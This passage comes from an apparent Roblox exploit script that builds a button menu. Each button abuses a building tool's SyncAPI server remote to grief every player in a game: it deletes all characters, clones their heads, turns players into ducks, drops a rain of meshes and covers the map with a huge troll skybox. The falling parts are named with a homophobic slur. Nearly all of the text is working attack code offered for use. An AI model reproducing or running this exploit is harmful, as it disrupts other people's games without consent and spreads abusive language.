			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent,types)
				local args = {
					[1] = "CreatePart",
					[2] = types,
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
	
			function Material(part,mate)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Material"] = mate
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function toptexturecreate(part)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = Enum.NormalId.Top,
							["TextureType"] = "Texture"
						}
					}
				}
	
				_(args)
			end
			function toptextureadd(part)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = Enum.NormalId.Top,
							["TextureType"] = "Texture",
							["Texture"] = "rbxassetid://0",
							["StudsPerTileV"] = 10,
							["StudsPerTileU"] = 10
						}
					}
				}
				_(args)
			end
			hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
			hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
			hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
			function SpawnBasePlate()
				CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
				for i,v in game.Workspace:GetChildren() do
					if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
						spawn(function()
							Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
							Color(v,Color3.fromRGB(0,0,0))
							toptexturecreate(v)
							toptextureadd(v)
							while wait(1) do
								pcall(function()SetLocked(v,true)end)
							end
						end)
					end
				end
			end
			SpawnBasePlate()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.38, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Delete players"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function Punish(player)
				char = player.Character
				DestroyPart(char)
			end
	
			for i,v in game.Players:GetPlayers() do
				--zzspawn(function()
				pcall(function()
					Punish(v)
				end)
				--end)
			end
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.38, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "clone heads"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function ClonePart(part)
				local args = {
					[1] = "Clone",
					[2] = {
						[1] = part
					},
					[3] = workspace
				}
	
				_(args)
			end
	
			function clonehead(player)
				char = player.Character
				ClonePart(char.Head)
			end
	
			for i,v in game.Players:GetPlayers() do
				--spawn(function()
				pcall(function()
					clonehead(v)
				end)
				--end)
			end
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.38, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Duckify"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local chara = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = workspace.Part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part,
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = workspace.Part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Duckify(player)
				for i,v in player.Character:GetDescendants() do
					if v:IsA("BasePart") then
						pcall(function()
							SetLocked(v,false)
							SetTrans(v,1)
						end)
					end
				end
				char = player.Character
				--spawn(function()
				spawn(function()
					SetAnchor(true,char.HumanoidRootPart)
					CreatePart(char.HumanoidRootPart.CFrame,char)
					SetCollision(char.Part,false)
					SetName(char.Part, "Duck")
				end)
				repeat wait() until char:FindFirstChild("Duck")
				spawn(function()
					SetLocked(char.Duck,false)
					SetLocked(char.HumanoidRootPart,false)
					Weld(char.Duck,char.HumanoidRootPart,char.Duck)
					SetAnchor(false,char.Duck)
					AddMesh(char.Duck)
				end)
				repeat wait() until char.Duck:FindFirstChild("Mesh")
				MeshResize(char.Duck,Vector3.new(8,8,8))
				SetMesh(char.Duck,"10749878672")
				SetTexture(char.Duck,"10749878886")
				SetAnchor(false,char.HumanoidRootPart)
				--end)
			end
			for i,v in game.Players:GetPlayers() do
				--spawn(function()
				Duckify(v)
				--end)
			end
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.42, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "troll rain"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- DO NOT DELETE THIS LEAVE MY CREDIT
	
			-- Rain Toad Script By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function SetCollision(part, boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
	
			function SetAnchor(boolean, part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function CreatePart(cf)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = workspace
				}
				_(args)
			end
	
			function Resize(part, size, cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://" .. texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = workspace.Part
					},
					[3] = stringg
				}
				_(args)
			end
	
			function Sky(id)
				local hrp = char:WaitForChild("HumanoidRootPart")
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						SetAnchor(true, v)
						AddMesh(v)
						SetMesh(v, "14832966960")
						SetTexture(v, id)
						MeshResize(v, Vector3.new(0, 0, 0))
					end
				end
			end
	
			local function createRainToads()
				while true do
					wait(0.01) -- Here they change the appearance time of the Toads or other meshes
					if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
						local hrpcf = player.Character.HumanoidRootPart.CFrame
						local x = hrpcf.x
						local z = hrpcf.z
						local randint = math.random(-600, 600)
						local randint2 = math.random(-600, 600)
						local xloc = randint + x
						local zloc = randint2 + z
						local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
						spawn(function()
							local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
							for i, v in game.Workspace:GetDescendants() do
								if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
									SetName(v, "Get trolled u fagz") -- Here the name of the toad changes
									SetAnchor(false, v)
									AddMesh(v)
									Resize(v, Vector3.new(50, 50, 30), v.CFrame)
									MeshResize(v, Vector3.new(15, 15, 15))
									SetMesh(v, "9403473283") -- Here put it A custom mesh
									SetTexture(v, "9403473396") -- X2
									SetCollision(v, true)
									v.Orientation = Vector3.new(0, 0, 0)
	
									v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
									local sound = Instance.new("Sound", v)
									sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
									sound.Volume = 0
									sound.PlayOnRemove = true
									sound:Destroy()
								end
							end
						end)
					else
						wait(1)
					end
				end
			end
	
			coroutine.wrap(createRainToads)()
	
			Sky("95921788891849") -- Here they change the skybox id
	
			-- Delete this if you are going to Use it in another script
	
			-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.42, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "troll sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("132549917572326")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.42, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "troll decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
